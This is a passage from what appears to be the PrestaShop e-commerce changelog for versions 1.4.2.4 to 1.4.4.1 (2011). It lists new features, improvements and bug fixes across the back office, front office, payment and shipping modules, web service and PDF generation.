referralProgram - Fixed 'undefined offsets' because of selected of languages + [-] MO : shopimporter : patch to correct a mistake naming column in the database + [-] MO : shopimporter : fix error encodage + [-] MO : shopimpoter fix bug currency + [-] MO : socolissimo is now compatible with One page checkout + [-] MO : statssearch couldn't save searches anymore (mysql syntax error) + [-] MO : unused variable removed in google analytics module + + [-] WS : Fixed PSCFI-3393 + [-] WS : Fixed bug PSCFI-3506 - id_employee was missing in setCurrentState() method + + [-] PDF : Bug Fixed #PSCFI-2208 - Incorrect PDF for not taxed groups + [-] PDF : Bug Fixed #PSCFI-3124 - Wrong details on order slip + [-] PDF : Bug Fixed #PSCFI-3254 - US States abreviations are incorrect + [-] PDF : Free text utf8ized + + [-] TR : Typo on "United States" + + [-] LO : UK taxe not associated to UK tax rules (related to #PSCFI-3266 & #PSCFI-3164) + + +#################################### +# v1.4.4.1 - NONE (2011-08-25) # +#################################### + + Fixed bugs: + + [-] Security: security fix on AdminHome file + +#################################### +# v1.4.4.0 - 7803 (2011-07-28) # +#################################### + + Added Features: + + [+] Project : adding RTL language management + + [+] BO : new class Upgrader to check PrestaShop version or download last version. + [+] BO : new file ajax-tab.php, you can now make request without ajax.php and handle them directly in the appropriate AdminXXX + [+] BO : new tab AdminUpgrade can now automatize the upgrade process. Thanks a lot to Broceliande/Eric Dolou for his great help + + [+] CORE : Add the possibility to personalize an address layout with special chars. + + [+] MO : A better view of the currency used by the module. + [+] MO : Fetch content use more than one method (CURL, fopen, fsockopen and file_get_content) + [+] MO : Moneybookers, Add the possibility to display the logo in the front Office (works with live edit). + [+] MO : New Module - Canada Post (0.1) + [+] MO : new module dedicated to german users which enable you to display legal notice on the customer account creation + + Improved/changed features: + + [*] Installer : improve installer template + [*] Installer : now class ConfigurationTest is located in classes directory and renamed to ConfigurationTestCore + [*] Installer : now method tryToConnect don't use an existing ressource except if specified + [*] Installer : php directory is now directly related to INSTALL_DIR + + [*] FO : #PSCFI-2691 - Adding index.php file for redirection + [*] FO : CC-24 - Adding previous button for the address creation + [*] FO : CC-32 - Adding a checkbox for the displaying of "Powered by PS" + [*] FO : CC-93 - Review of the compare product system + [*] FO : CC-93 - Review of the compare product system. Adding CompareProduct class + [*] FO : Change the id "passwd" by "login_passwd" to avoid ambiguous id in OPC ordering (with guest authorization). + [*] FO : Fixed #PSCFI-2176 - now you can use vars in your mail subject + [*] FO : Update the jquery.cluetip.js library. From V0.9.9 to V1.1.3 + + [*] BO : Add option to disable apache option multiviews. Linked with #PSCFI-2597 + [*] BO : Added check for safe_mode before activating new image system + [*] BO : Added compatibility check before moving images to the new filesystem + [*] BO : AdminTab childs can now handle ajax request like index.php (with tab and token params) using specific method ajaxProcess + [*] BO : Bug Fixed #PSCFI-2282 - Shipping Prices Range with a tax excluded group + [*] BO : CC-108 - Remove informations about stocks in AdminProducts when the stock management is disabled + [*] BO : CC-26 - Adding German and Italian translations + [*] BO : CC-26 - Rename Alias Tab as Alias Research + [*] BO : CC-50 - Increasing the size of the description area + [*] BO : CC-99 - Better visibility for the delete module button + [*] BO : FA-35 - Changing manufacturer translation in French for the BO. Replaced "fabricant" by "marque" + [*] BO : FA-35 - Changing manufacturer translation in French for the BO. Replaced "fabricant" by "marque" + [*] BO : Fixed bug PSCFI-2416 - The whole search index is not rewritten when you update a single product + [*] BO : It is now possible to edit the field date_add with AdminImport + [*] BO : Upgrader class now also check if autoupgrade is indicated for the last version, from http://www.prestashop.com/xml/version.xml + [*] BO : added alert if attachment is bind to a product + [*] BO : backup directory is now a static definition in Backup class + [*] BO : improve CSV import when no csv file is available + [*] BO : improve category listing in product edition and loyalty module + [*] BO : improved Upgrader to check ps version + [*] BO : improved backup class + [*] BO : refactoring #PSCFI-2458 - AdminCarrier when Zone disabled & overcomplex processing ( Carrier ) + [*] BO : the new image filesystem is now entirely deactivated when the legacy setting is activated + + [*] Classes : improvement #PSCFI-2278 - Don't die in Mail::send() method + [*] Classes : improvement #PSCFI-2278 - refactoring + [*] Classes : improvement #PSCFI-2440 - Tools class improvements + + [*] MO : Adding traduction for blockcms + [*] MO : New Admin Panel for "Layered Navigation" module, "Build your own template" feature! + [*] MO : Now use the variable Calcul_mode in the hash of the cache + [*] MO : Numerous bugs fixed for the "Layered Navigation" module + [*] MO : Numerous bugs fixed for the "Layered Navigation" module + [*] MO : Translations and changes on TrustedShop module + [*] MO : Translations and changes on TrustedShop module (part 2) + [*] MO : Upgrade on the UPS module (from enigma32, thx to him :) + [*] MO : Upgrade on the USPS module (from enigma32, thx to him :) + [*] MO : Upgrade on the fedex module (from enigma32, thx to him :) + [*] MO : stats live performance improvment - PSCFI-2080 + [*] MO : you can now hook blockpermanentlinks on the footer + + [*] WS : Add new feature for date_add/date_upd, PSCFI-2380 + [*] WS : Allow to change Webservice permission behavior + + Fixed bugs: + + [-] PROJECT : Fix template mail for new layout system + + [-] INSTALLER : CSS Preactivation + [-] Installer : Remove a bad space + [-] Installer : fix error about version number (1.4.3.0 included when current version is 1.4.3) + [-] Installer : fixed Tools::checkDb method when class Validate, DD or MySQL are already loaded + [-] Installer : fixed a bug in add_missing_rewrite_value.php + [-] Installer : log is now working correctly + + [-] FO : Bug Fixed #PSCFI-2520 - Attribute EcoTax not correctly applied + [-] FO : Bug Fixed #PSCFI-2725 Incorrect VAT address + [-] FO : Bug Fixed #PSCFI-2734 - Quantity prices not displayed correctly when changing currency + [-] FO : BugFix #36138 - Problem with product preview and url rewrite + [-] FO : BugFix #PSCFI-2382 - Reductions without end dates are not possible + [-] FO : BugFix #PSCFI-2382 - Reductions without end dates are not possible + [-] FO : BugFix #PSCFI-2386 - Invalid argument supplied for foreach() + [-] FO : BugFix #PSCFI-2402 - Product::getDefaultAttribute is wrong when all attributes quantity less than minimumQuantity + [-] FO : BugFix #PSCFI-2487 - Save and preview shows blank page if CCC is enabled + [-] FO : BugFix #PSCFI-2498 - Problems with .htaccess + [-] FO : BugFix #PSCFI-2537 - RMA not opening/showing content + [-] FO : BugFix #PSCFI-2537 - RMA not opening/showing content + [-] FO : Fix product sort for Smarty 2 + [-] FO : Fix undefined json variable in opc when an user select a product and want to be identified. + [-] FO : Fixed #PSCFI-2144 - wrong url params, ? instead of & + [-] FO : Fixed Bug #PSCFI-2726, Display properly the text depending of the recyclable preference option. + [-] FO : Fixed bug #PSCFI-2003 - "Next" button is hidden in scenes slider on FO + [-] FO : Fixed bug #PSCFI-2099. Country and state are properly displayed when another invoice address is selected + [-] FO : Fixed bug #PSCFI-2316 - there was a notice when you added a product without image to your cart + [-] FO : Fixed bug #PSCFI-2393 - After copying language files forwards to frontend with error msg + [-] FO : Fixed bug #PSCFI-2417, The compatibility with recent theme under older Prestashop version (< 1.4.2) works. + [-] FO : Fixed bug #PSCFI-2662 - Empty script block in order-detail.tpl + [-] FO : Problem with .htaccess + [-] FO : fixed bug #PSCFI-2299 - Default-home image location + [-] FO : fixed bug #PSCFI-2310 - carrier disabled in OPC + [-] FO : fixed bug #PSCFI-2326 - fixed smarty error with Smarty 2 + [-] FO : fixed bug #PSCFI-2348 - bug in order-opc.js 1.4.3 + [-] FO : fixed bug #PSCFI-2406 - Redirect index file for created image folders + [-] FO : fixed bug #PSCFI-2408 - invalid date producttooltip module + [-] FO : fixed bug #PSCFI-2464 - manufacturers and suppliers blocks should not display products in inactive categories + [-] FO : fixed bug #PSCFI-2493 - One page checkout, "undefined" DNI + [-] FO : fixed bug #PSCFI-2502 - The clicking "Continue shopping" on Shopping cart summary is not working properly. + [-] FO : fixed bug #PSCFI-2735 - Order manipulation possible after payment method selection + [-] FO : fixed bug with guest checkout + [-] FO : fixed notice error on One page checkout with Blocknewsletter module + + [-] BO : "alias" tab name is too long + [-] BO : Bug Fixed #PSCFI-2368 - Disable ecotax and ecotax is still present on the front office + [-] BO : BugFix #PSCFI-1903 - Problem with payment module limited to some countries + [-] BO : BugFix #PSCFI-2420 - AdminImport.php ( import csv ) missing handling for escaped list separator and UTF-8 BOM issue + [-] BO : BugFix #PSCFI-2420 - AdminImport.php ( import csv ) missing handling for escaped list separator and UTF-8 BOM issue + [-] BO : BugFix #PSCFI-2536 - SendMailTest.js does not escape its parameters causing malfunction when trying to send htmlentities (v. 1.4.1.0) + [-] BO : BugFix #PSCFI-2550 - can't give a product an attribute of "0" + [-] BO : BugFix #PSCFI-2568 - Order page display problem: box expands to overlap another box + [-] BO : BugFix #PSCFI-2584 - Orders could have a totals negative + [-] BO : BugFix #PSCFI-2614 - Add new method simplexml_load_file + [-] BO : BugFix #PSCFI-2614 - Bug this localization file + [-] BO : BugFix #PSCFI-2642 - Translation problem with modules + [-] BO : BugFix #PSCFI-2645 - sendtoafriend problem with translation + [-] BO : BugFix #PSCFI-2663 - "New order" email has hardcoded address format + [-] BO : BugFix #PSCFI-2690 - Incorrect closing comment + [-] BO : BugFix #PSCFI-2708 Syntax error (working with PHP 5.3 and more) + [-] BO : BugFix #PSCFI-2767 - Change guest index of product_comment + [-] BO : Fixed Bug #PSCFI-2665, Backup times is now correctly displayed with a H 24 format. + [-] BO : Fixed bug #PSCFI-2379 - Avoid the call of memory_get_usage() if it is not defined + [-] BO : Fixed bug #PSCFI-2379 - Missing token in form action + [-] BO : Fixed bug #PSCFI-2424 - PS_OS_WS_PAYEMENT should be PS_OS_WS_PAYMENT + [-] BO : Fixed bug #PSCFI-2429 - IE9 compatibility problem with upload + [-] BO : Fixed bug #PSCFI-2535 - Losing opening div + [-] BO : Fixed bug #PSCFI-2670 - Increase mime size for attachment from 64 to 128 for support docx file + [-] BO : Fixed bug - Empty the cache in the theme for module overrided + [-] BO : Fixed bug PSCFI-2253 - Error "invalid date" with some version of PHP fixed + [-] BO : Global was missing on AdminThemes + [-] BO : In the search tab, Deleted a function which deleted the first occurrence when the last have the samed value in the "search" field + [-] BO : PNG images are now supported after activation in BO. Backward compatible. + [-] BO : US address format is now correctly displayed for the PDF. + [-] BO : fix call on categoryUpdate hook when we change the status of a category #PSCFI-2669 + [-] BO : fixed bug #PSCFI-2235 - Module panel inoperative after module suppression + [-] BO : fixed bug #PSCFI-2300 - clear useless variable in replaceByAbsoluteURL method + [-] BO : fixed bug #PSCFI-2301 - html /form tag is inside the translatable string + [-] BO : fixed bug #PSCFI-2302 - Product - CSV import: "available for order" and "show price" not available? + [-] BO : fixed bug #PSCFI-2302 - Product - CSV import: "available for order" and "show price" not available? + [-] BO : fixed bug #PSCFI-2303 - in AdminManufacturers.php have a repeated code + [-] BO : fixed bug #PSCFI-2319 - $default_country varaible is missing in AdminProduct + [-] BO : fixed bug #PSCFI-2321 - fixed bug on pagination display on AdminGroups + [-] BO : fixed bug #PSCFI-2322 - fixed bug on product.tpl + [-] BO : fixed bug #PSCFI-2336 - Small typo error in Back Office + [-] BO : fixed bug #PSCFI-2360 - redundant lines in Tools::generateHtaccess() + [-] BO : fixed bug #PSCFI-2365 - "Warning : the secure key is empty, check your payment account before validation" error with FreeOrder module + [-] BO : fixed bug #PSCFI-2366 - Module Bug / "tab cannot be found" on IIS + [-] BO : fixed bug #PSCFI-2421 - watermark does not show on regenerated images + [-] BO : fixed bug #PSCFI-2447 - Button Home is gone after adding new specific price + [-] BO : fixed bug #PSCFI-2455 - Minimum order purchase considers shipping costs + [-] BO : fixed bug #PSCFI-2496 - quantity number in pack option + [-] BO : fixed bug #PSCFI-2507 - AdminProducts undefined variable and non-object PHP notices in Apache log + [-] BO : fixed bug #PSCFI-2533 - image quality button not checked + [-] BO : fixed bug #PSCFI-2706 - fields were not created in database for deactivated languages, causing issues when the language is reactivated + [-] BO : fixed product images zip upload + [-] BO : update jquery colorpicker plugin #PSCFI-2325 + + [-] Classes : added some checks to Image class + [-] Classes : fix moving images to new filesystem when unused images are present + [-] Classes : fixed bug #PSCFI-2005 - Merchandise Returns status emails to customers are BO language dependent + [-] Classes : fixed bug #PSCFI-2234 - Hookexec doesn't properly manage execeptions when passing filename by parameter + [-] Classes : fixed bug #PSCFI-2311 - Function Validate::isUrl has a problem + [-] Classes : fixed bug #PSCFI-2511 - Deleting a product with attachment deletes attachment + [-] Classes : fixed bug #PSCFI-2723 - CLONE - Reductions without end dates are not possible + [-] Classes : fixed bug on stock mouvement and hook update quantity + [-] Classes : fixed rights settings for image folders + [-] Classes : fixed url rewrite for missing category images - #PSCFI-2635 + + [-] CORE : Check correctly the availability of an object for an external module shipping + [-] Core : Fixed bug PSCFI-2436. Cookie object is properly verified before trying to use one of the attributs for the getDefaultCountryId method. + + [-] MO : #PSCFI-2663 - Fix new layout address for mailalerts. + [-] MO : Add footer hook for blocklayered to allow AJAX sorting of products + [-] MO : Bug fixed on Twenga module (1.7) Image link on PrestaShop 1.3 was wrong (module enabled for nl) + [-] MO : Bug fixed on eBay module, when apache cache was enabled, the method fetchToken did not work properly + [-] MO : BugFix #PPSCFI-2536 - SendMailTest.js does not escape its parameters causing malfunction when trying to send htmlentities (v. 1.4.1.0) + [-] MO : BugFix #PSCFI-2201 - error output of set_time_limit must be "muted" + [-] MO : BugFix #PSCFI-2304 - On calculte remaining amount of a voucher, use cart total with tax. + [-] MO : BugFix #PSCFI-2305 - Followup module SQL error + [-] MO : BugFix #PSCFI-2376 - Bad code : mapi_payment.php line 429 + [-] MO : BugFix #PSCFI-2427 - Do not fix PSCFI-2427, but the module follow up + [-] MO : BugFix #PSCFI-2571 - Missing a global $cookie + [-] MO : BugFix #PSCFI-2581 - NEWSLETTER MODULE : Country's filter problem + [-] MO : BugFix #PSCFI-2585 - HTML typo in blocklink module + [-] MO : BugFix #PSCFI-2593 - Sale message hidden after uncheck (option from layered block module) + [-] MO : BugFix #PSCFI-2602 - Web service dispatcher does not stripslashes from POSTed XML + [-] MO : BugFix Module Dibs - Must work with PS1.3 + [-] MO : BugFix in module producttooltip - Can show product page + [-] MO : Changing the version of the Treepodia module + [-] MO : Changing the version of the fedex module (#previousCommit) + [-] MO : Ebay, fix an order validation issue when products list is empty + [-] MO : Fedex module used id_lang 2 by default, now use cookie + [-] MO : Fixed bug #PSCFI-2369, 'authorization-amount-notification' send now a correct answer to Google. + [-] MO : Fixed bug #PSCFI-2370, Shipping fees correctly take in consideration for the form validation + [-] MO : Fixed bug #PSCFI-2370. Shipping delivery message is correctly set for Google summary order. + [-] MO : Fixed bug SQL error when generate filters + [-] MO : Fixed bug according to the last commit about secure_key + [-] MO : Module Twenga hiding errors + [-] MO : Module treepodia little fix for IE + [-] MO : MoneyBookers, fix string manipulation after a fetching content + [-] MO : MoneyBookers, replace getProtocol to http:// for older PrestaShop version using with a unsecure page + [-] MO : Ogone. Add an ignore key list variable to generate properly the sha1. + [-] MO : PayPal fixing rounding issues + [-] MO : PayPal module fixing order state issue + [-] MO : PayPal retrocompatibility issue + [-] MO : PaySafeCard template directory was wrong + [-] MO : Paypal, fix the express checkout + [-] MO : TrustedShops , fix translations + [-] MO : Twenga module (1.7) can now handle more products on their feed + [-] MO : added check if curl is loaded in layered block + [-] MO : display hook footer for blocklayered module only on page category + [-] MO : fix little bug on themeinstallator with blockcms module + [-] MO : fixed bug #PSCFI-2249 - Loyalty Point information should not display during Instant Checkout? + [-] MO : fixed bug #PSCFI-2318 - fixed typo error in add-to-cart.tpl file of Treepodia module + [-] MO : fixed bug #PSCFI-2374 - carriercompare module is not showing any result + [-] MO : fixed bug #PSCFI-2713 - Fix issue on Blockwishlist module + [-] MO : fixed bug PSCFI-2337 in the statsforecast module : no more division by zero + [-] MO : fixed token undifined in shopimport + [-] MO : modules exceptions weren't perfectly managed by the theme installer + + [-] WS : Bug PSCFI-2624 fixed + [-] WS : Bug PSCFI-2684 fixed + [-] WS : Bug PSCFI-2685 fixed + [-] WS : Bug PSCFI-2748 fixed + [-] WS : Fix a bug when adding a Configuration (Found via Unit Test) + [-] WS : Fixed bug PSCFI-2603 + [-] WS : Small fix + [-] WS : Small fix in Order entity (setCurrentState) + [-] WS : Small fix in Webservice back-office tab + [-] WS : [-] WS : Bug PSCFI-2377 fixed + + [-] PDF : Bug Fixed #PSCFI-2425 - Incorrect tax breakdown (tax excl group) + + [-] TR : fixed fr translation, thanks to Sabrina + [-] TR : translation minor fix + [-] TR : translations fr about AdminUpgrade.php + [-] TR : when a module class was called before the translation proces, its translation wasn't found. + + +#################################### +# v1.4.3.0 - 7119 (2011-06-16) # +#################################### + + Added Features: + + [+] Installer : Refuse to index the page by robots + + [+] BO : Added button "Add my IP" + [+] BO : Adding pagination to the customers list + [+] BO : added the option to move product images to the new filesystem + + [+] Classes : added manufacturer name and id in ProductSale::getBestSales(); + [+] Classes : added manufacturer name and id in ProductSale::getBestSales(); without sql error ;) + + [+] MO : MondialRelay, add fields personalization and fix js + [+] MO : Refactoring Module dejala and LiveZilla + [+] MO : layered module - real time URL building (ability to give the URL to someone) + + Improved/changed features: + + [*] Project : Removed "if class_exists" in autoload + + [*] Installer : Now when you install Prestashop, all languages are disabled expect the default language of your shop + + [*] FO : Fixed Bug #PSCFI-1342 - Gest customer transformation is only applicable when there is no non-guest customer with the same email + [*] FO : Fixed Bug #PSCFI-2241 - Error in JS tools.js + + [*] BO : Added some help on the search configuration page + [*] BO : detailled error message when you import from csv + + [*] Classes : #PSCFI-2061 - removed return statement in constructor + [*] Classes : fix issue on cache object return value in method getPosition + + [*] MO : Fixed bug #PSCFI-2242 - Changes from the 1.3.x version have not been added to the 1.4 version + [*] MO : Treepodia module can now handle more products on their feed + [*] MO : eBay module - Some improvments + [*] MO : fix issue on loyalty module + + [*] WS : clean code + [*] WS : clean code + + Fixed bugs: + + [-] PROJECT : Bug fixed #PSCFI-2119 - Cache was not working well with getRow and getValue (Thanks Remi for the fix :) + [-] Project : remove unused 4 param in Tools::displayPrice() #PSCFI-2063 + [-] Project : the autoload now accept not "Core" classes in classes folder. + + [-] Installer : Undefined variable languages + [-] Installer : add a ";" to SQL requeste + + [-] FO : Add a defined list of required fields for a susbscription form + [-] FO : Bug Fixed #PSCFI-1515 - Specific price cache is useless in priceCalculation + [-] FO : Bug Fixed #PSCFI-2090 - Group discount + discount = incorrect combination price + [-] FO : Bug Fixed #PSCFI-2105 - Voucher discount on total amount + [-] FO : Bug Fixed #PSCFI-2107 - Required Field "Tax Identification" + [-] FO : Bug Fixed #PSCFI-2161 - Rounding issues + [-] FO : Bug Fixed (related #PSCFI-2250) - Out of stock behavior + comparison page + [-] FO : BugFix #PSCFI-2267 : Forbidden access to tpl files + [-] FO : BugFix #PSCFI-2271 : Cumulable voucher can be added more than one time to cart + [-] FO : Fix Undefined value when adding a product to the cart + [-] FO : Fix a bug with invoice address on OPC #PSCFI-2099 + [-] FO : Fix the default fields for a new register user form + [-] FO : Fixed Bug #PSCFI-1730 - CCC mustn't be included each time with https + [-] FO : Fixed Bug #PSCFI-2163 - Product list dont show "add to cart" button, if minimal qty to order is set to something != 1, it must be <= 1 + [-] FO : Fixed Bug #PSCFI-2163 - Product minimal quantity by default must be 1 and not 0 + [-] FO : Fixed Bug #PSCFI-2192 - Nomalization + [-] FO : Fixed Bug #PSCFI-2241 - Error in JS tools.js + [-] FO : Fixed bug #PSCFI-2088 - change id attribute adress_alias to address_alias. + [-] FO : Fixed bug #PSCFI-2120 - Customization image delete button doesn't work. The link was commented. + [-] FO : Fixed bug #PSCFI-2150 - Wrong url when we used the sort option + [-] FO : Fixed bug PSCFI-2135, Refreshing price is fixed when the ajax setting of blockcart is turned off + [-] FO : Function usingSecureMode does not work properly (depends on the server configuration) + [-] FO : PSCFI-2118 - Substr of payment name compared to payment name (payment name musnt be truncated). + [-] FO : PSCFI-2118 - Substr of payment name compared to payment name (payment name musnt be truncated). + [-] FO : Remove blocklayered CSS/Js files on page we dont need them (and they make bugs with pager) + [-] FO : Rounding issues + [-] FO : Smarty 2 compatibility + [-] FO : Validator don't work fine with non ansi chars + [-] FO : fix an URL never rewrited in stores.js #PSCFI-1931 + [-] FO : fixed bug #PSCFI-2153 - CreditSlip PDF not accessible from FrontOffice + [-] FO : fixed bug #PSCFI-2171 - Group Access Not Working + [-] FO : fixed bug #PSCFI-2203 - [OPC] AJAX login fails and freezes when user has no address defined. + [-] FO : fixed bug #PSCFI-2279 - voucher add to cart technical error + [-] FO : fixed bug - breadcrumb was not display in some case. + [-] FO : removing the link on the category label #PSCFI-2065 + + [-] BO : Better understanting for address layout, Add a ignore class list for the liable fields and fix translsation + [-] BO : Bug fixed on CSV import (Thanks to Magavenue :) + [-] BO : BugFix #PSCFI-2289 - AdminImport not working in some cases + [-] BO : Fix tax calcul in attribute generator #PSCFI-2095 + [-] BO : Fixed #PSCFI-444 - flag can be updated even if .htaccess is not writable + [-] BO : Fixed Bug #PSCFI-2200 - On installing languages, bad adding on table profile_lang (id_lang and id_profile are reversed) + [-] BO : Fixed Bug #PSCFI-2263 - Mexico must be set as a country with states + [-] BO : Fixed Bug PSCFI-2198, The current editing element will not be removed if the user cancel it and a better fonctionality of Echap key. + [-] BO : Fixed bug #PSCFI-2092 - Missing translation on contact details + [-] BO : Fixed bug PSCFI-2207, Fixed a bad variabled used with vat. + [-] BO : Fixed invoice date when database is MySQL 4. + [-] BO : fixed bug #PSCFI-2247 - AdminCustomerThreads (Customer Service) displays wrong currency symbol in BO + [-] BO : fixed bug #PSCFI-2248 - browser error "unterminated string constant" in AdminTracking.php + [-] BO : fixed bug #PSCFI-2255 - PDF PS_INVOICE_PREFIX without iconv + [-] BO : fixed image caching when memory_limit = -1 + [-] BO : fixed overflowing admin sub-tabs in themes flashyturtle and origins + [-] BO : fixed rewrite link warning message when importing + [-] BO : removed hard coded tmp img link + + [-] Classes : Bug fixed in Language class, delete method when no i18n file were created for a language. + [-] Classes : fixed bug #PSCFI-2124 - Misuse of redirect (Tools.php) in Order Process (and probably other areas) causes failed flow. + [-] Classes : fixed bug #PSCFI-2141 - Object->add() should not use Tools::getValue() - final part + [-] Classes : fixed bug #PSCFI-2141 - Object->add() should not use Tools::getValue() - first part + [-] Classes : fixed bug in property_exists function + [-] Classes : fixed calls of non static method as static in order controllers + + [-] Core : fixed bug #PSCFI-2143 - Insufficient check for crawler populated ghost carts in CartController + + [-] MO : #Fixed bug PSCFI-2134 - Json parse error. Need ' instead of \' + [-] MO : Add Constants cart directly to the module for the PrestaShop 1.3 compatibility + [-] MO : Bug fixed #PSCFI-2122 - Problem on rounded values + [-] MO : Bug fixed #PSCFI-2122 - Problem on tax values + [-] MO : Bug fixed #PSCFI-2238 - Module USPS was send container type to USPS + [-] MO : Bug fixed eBay module - Wrong flag for resync option + [-] MO : Categories shown twice (or more) on block category when customer have more than one group + [-] MO : Code Cleaning + [-] MO : Fix blocklayered module to allow user to sort products list (now use default value from BO, and refresh using ajax) #PSCFI-2096 + [-] MO : Fix console.log IE + [-] MO : Fix minors bug and translations + [-] MO : Fix smarty display for 1.3 + [-] MO : Fix translations + [-] MO : Fixed Bug #PSCFI-2182 - Loyalty module (loyalty-program.php) return wrong category list and too long list on vast catalog + [-] MO : Fixed Bug #PSCFI-2191 - DIBS module test paramter is assigned with wrong values. + [-] MO : Fixed Bug #PSCFI-2191 - DIBS module test paramter is assigned with wrong values. + [-] MO : Fixed Bug #PSCFI-2192 - Required fields and ajax cart dont work as expected + [-] MO : Fixed Bug #PSCFI-2192 - Required fields and ajax cart dont work as expected + [-] MO : Fixed Bug #PSCFI-2264 - Left scroll button is visible when the page is loaded whereas there is no products on the left. + [-] MO : Fixed SQL error on layered module + [-] MO : Fixed SQL/PHP errors on layered module when category is empty + [-] MO : Fixed bug - Incorrect validation for discount_value_percentage field + [-] MO : Fixed bug - Possibility to put negative values + [-] MO : Fixed bug - Values are not passed in an htmlentities function before display + [-] MO : Fixed bug : Ajax with the button add cart properly works when an product image doesn't exist + [-] MO : Fixed bug PSCFI-2187, Use back price_wt instead of total_wt wthen product is added to google cart. + [-] MO : Fixed bug when the hook is detached of the right + [-] MO : Fixed errors, and add nb items per page to the layered block module + [-] MO : Fixed norms + [-] MO : Had a security token on eBay module + [-] MO : Mistake in the commit 6952 + [-] MO : MondialRelay fix french franslations + [-] MO : MondialRelay is now supported for PrestaShop 1.3. Clean unused code. + [-] MO : MondialRelay, add french translation + [-] MO : Norm pass + [-] MO : Normalization + better directory clean + [-] MO : PayPal create account link for Spain changed + [-] MO : added cast in blockrss + [-] MO : added check on secure key in moneybookers validation + [-] MO : added token on export and send mail on twenga module + [-] MO : carriercompare - undefined variable + [-] MO : eBay module - fix for PrestaShop 1.3.x and many others improvments + [-] MO : fix french translation for statscarrier + [-] MO : fixed Fatal Error when payment name in osc bdd has character inappropriate // :p + [-] MO : fixed bug #PSCFI-2165 - Module ImporterOsc - After importing, changing orders state, in list mode : date of today, in order detail mode : real date + [-] MO : fixed bug #PSCFI-2194 - Layered when reset display inactive products + [-] MO : fixed bug #PSCFI-2219 - Incorrect usage of numRows() + [-] MO : fixed bug #PSCFI-2229 - added help text on specific option + [-] MO : fixed bug #PSCFI-2240 - Layered navigation - overloading template file (.tpl) is not working + [-] MO : fixed bug #PSCFI-2280 - module customer follow up has bug when install in back office + [-] MO : fixed bug - import osc was not display in shopImport module + [-] MO : fixed bug on instant search with Internet Explorer 7 + [-] MO : fixed bug on tm4b + [-] MO : fixed error when uninstall socolissimo module //thanks to Alain ouftete + [-] MO : layered navigation pagination added ;) #PSCFI-2137 #PSCFI-2085 + [-] MO : layered navigation pagination fixed undefined variable + [-] MO : now only discount bound to a valid order is shown (Loyalty module) + + [-] WS : Bug fixed due to Core modifications + [-] WS : Factorization of WebserviceRequest + [-] WS : Small fix when error happens + [-] WS : Support for categories POST - PSCFI-1416 + [-] WS : Support for image product POST method PSCFI-675, PSCFI-1416 + + [-] PDF : Bug Fixed - Invoice: tax detail line with reduction + + +#################################### +# v1.4.2.5 - 6780 (2011-05-30) # +#################################### + + Improved/changed features: + + [*] Installer : add PS_VERSION_DB configuration data filled after install / upgrade + + [*] FO : smarty_v2 improvement : moved currentTemplate init in fetch method instead of display method + + [*] Core : module carrier has been disabled on One page checkout when customer isn't logged + [*] Core : module carrier has been disabled on One page checkout when customer isn't logged Part 2 + + Fixed bugs: + + [-] Project : fix an issue on Tools::jsonDecode + + [-] Installer : fixed bug where categories have incorrect level_depth + + [-] FO : Bug Fixed #PSCFI-2077 - Tax rules + customization + [-] FO : Fixed #PSCFI-2051 - weekdays translations are now correct in store_infos google maps + [-] FO : Fixed #PSCFI-2066 - Control terms if terms are activated + [-] FO : On updating address with a bad field, firstname and alias are fill with the post + the registered data. + + [-] BO : Fixed bug #PSCFI-2035 - The other messages in this category have been answered + [-] BO : Fixed bug #PSCFI-2073 - avoid crashing the product listing page when you have not enough memory to resize the thumbnails + + [-] Classes : fixed bug with cookie name generated from http host causing cookie duplication + + [-] MO : Bug fixed #PSCFI-2055 - number_format replaced by round in PayPal Module (Thanks Angora :) + [-] MO : Bug fixed on eBay Module (when products does not exist) + [-] MO : Fixed bug #PSCFI-1782 - Dibs could not do the callback + [-] MO : adding a message in So Colissimo module, in order to indicate: this module isn't compliant with OPC feature + + +#################################### +# v1.4.2.4 - 6742 (2011-05-27) # +#################################### + + Added Features: + + [+] Installer : Case management system of ubuntu, phpversion return 5.2.4-2ubuntu5.2 + [+] Installer : During installation if the PHP version is less than 5.2, install smarty 2, otherwise it installs smarty 3 + [+] Installer : during upgrade, analyse the database structure to find PrestaShop version and compare it to version in settings to display or not a warning + [+] Installer : hidden notice date_default_timezone_set, notice prevented the use of Ajax back + + [+] BO : Add jquery plugin for the address layout selection feature + [+] BO : Added ability to add instructions in the backup file to drop existing tables during restore + [+] BO : Adding validation field for Regenerate password + [+] BO : Adding validation function and Update Options function + [+] BO : Address layout add the pattern when an user click on a selection key + [+] BO : Now you can update an already installed language from prestashop.com + [+] BO : add display of company name in order details, and display of phone in PDF invoice + [+] BO : add module physical name as title of element in admin module list + + [+] MO : Added "Site speed" feature to Google Analytics Module (See which pages load the fastest and which ones are slower) + [+] MO : Added customer e-mail in the notification sent after each order (mailalerts module) + [+] MO : Rewrite Generate and Get tickets including new Interface class to communique with the mondial relay webservice + [+] MO : blockcategories can now be hooked on footer + [+] MO : eBay module (currently only for eBay.fr) + + [+] WS : Add virtual field in Category entity. + [+] WS : add state command for WS + [+] WS : allow displayed simple association + [+] WS : allow negative values in the filter + [+] WS : allow the outformat even the authentication failed + [+] WS : allow to display association in blank schema + [+] WS : allow to display association in synopsis + [+] WS : bug PSCFI-1659 is fixed + [+] WS : bug PSCFI-1778 is fixed + [+] WS : bug PSCFI-1778 is fixed + [+] WS : bug PSCFI-1780 is fixed + [+] WS : change association name and its getter, improve error output + [+] WS : improve the filter behaviour + + Improved/changed features: + + [*] Project : Improve autoload performances + + [*] Installer : A log file is now created during installation + [*] Installer : Add index to modules followup and add index to installer + [*] Installer : added unique index to table category_group + [*] Installer : for old version, you will keep your admin icon for your custom tab + [*] Installer : no more cache after upgrade + [*] Installer : when upgrade, cleaning cache and compile dir now also exclude .htaccess files + + [*] FO : #PSCFI-1594 Corrects missing id_country + [*] FO : #PSCFI-1647 corrects disappearing invoice address title + [*] FO : Adding address layout management + [*] FO : Adding address layout management + [*] FO : Adding address layout management + [*] FO : Adding address layout management + [*] FO : CSS improvements (thanks Melinda!) + [*] FO : New default logo (better JPG quality) + [*] FO : corrects js error when cart is empty + [*] FO : hide the "add to cart" button if there are required customization fields + [*] FO : hide the "hide to cart" button for products with minimal quantity > 1 when customer can't choose the quantity + [*] FO : remove some unused global vars declaration + + [*] BO : 'add a language' is now 'add or update a language' + [*] BO : Added new column to "Carts" tab and ability to delete carts + [*] BO : Added several advice to help during database backup process and database restore process + [*] BO : Better cache management for image uploading (Categories, Manufacturers, Suppliers, Stores) - no more need to press CTRL+F5 + [*] BO : Fixed #PSCFI-1667 + [*] BO : Improved code standards and UI/UX for the 